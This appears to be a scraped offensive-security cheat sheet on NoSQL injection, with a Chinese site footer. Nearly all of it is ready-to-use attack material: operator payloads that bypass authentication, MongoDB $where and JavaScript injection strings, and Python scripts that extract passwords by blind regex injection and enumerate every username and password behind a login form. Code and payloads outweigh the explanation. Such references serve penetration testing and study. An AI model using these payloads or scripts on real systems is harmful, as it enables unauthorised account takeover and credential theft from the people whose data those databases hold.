NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 username[$regex]=^adm$password[$ne]=1 username[$regex]=.{25}&pass[$ne]=1 username[$eq]=admin$password[$ne]=1 username[$ne]=admin&pass[$lt]=s username[$ne]=admin&pass[$gt]=s username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 { $where: "this.credits == this.debits" }

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

username[$ne]=toto&password[$ne]=totousername[$exists]=true&password[$exists]=true​{"username": {"$ne": null}, "password": {"$ne": null} }{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -Mongo sql: ' || 1==1//    or    ' || 1==1%00
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}
in URL (if length == 3)username[$ne]=toto&password[$regex]=a.{2}username[$ne]=toto&password[$regex]=b.{2}...username[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdp​username[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*​in JSON{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password/?search=admin' && this.password && this.password.match(/^a.*$/)%00/?search=admin' && this.password && this.password.match(/^b.*$/)%00/?search=admin' && this.password && this.password.match(/^c.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Blind NoSQL

import requests, string​alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "[email protected]{}-/()!\"$%=^[]:;"​flag = ""for i in range(21):    print("[i] Looking for char number "+str(i+1))    for char in alphabet:        r = requests.get("http://chall.com?param=^"+flag+char)        if ("" in r.text):            flag += char            print("[+] Flag: "+flag)            break
import requestsimport urllib3import stringimport urlliburllib3.disable_warnings()​username="admin"password=""​while True:    for c in string.printable:        if c not in ['*','+','.','?','|']:            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)            r = requests.post(u, data = {'ids': payload}, verify = False)            if 'OK' in r.text:                print("Found one more char : %s" % (password+c))                password += c

MongoDB Payloads

true, $where: '1 == 1', $where: '1 == 1'$where: '1 == 1'', $where: '1 == 1'1, $where: '1 == 1'{ $ne: 1 }', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'db.injection.insert({success:1});db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1|| 1==1' && this.password.match(/.*/)//+%00' && this.passwordzz.match(/.*/)//+%00'%20%26%26%20this.password.match(/.*/)//+%00'%20%26%26%20this.passwordzz.match(/.*/)//+%00{$gt: ''}[$ne]=1

Brute-force login usernames and passwords from POST login

import requestsimport string​url = "http://example.com"headers = {"Host": "exmaple.com"}cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]def get_password(username):    print("Extracting password of "+username)    params = {"username":username, "password[$regex]":"", "login": "login"}    password = "^"    while True:        for c in possible_chars:            params["password[$regex]"] = password + c + ".*"            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)            if int(pr.status_code) == 302:                password += c                break        if c == possible_chars[-1]:            print("Found password "+password[1:].replace("\\", "")+" for username "+username)            return password[1:].replace("\\", "")​def get_usernames():    usernames = []    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}    for c in possible_chars:        username = "^" + c        params["username[$regex]"] = username + ".*"        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)        if int(pr.status_code) == 302:            print("Found username starting with "+c)            while True:                for c2 in possible_chars:                    params["username[$regex]"] = username + c2 + ".*"                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:                        username += c2                        print(username)                        break​                if c2 == possible_chars[-1]:                    print("Found username: "+username[1:])                    usernames.append(username[1:])                    break    return usernames​​for u in get_usernames():    get_password(u)​

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection

最后更新于

这有帮助吗?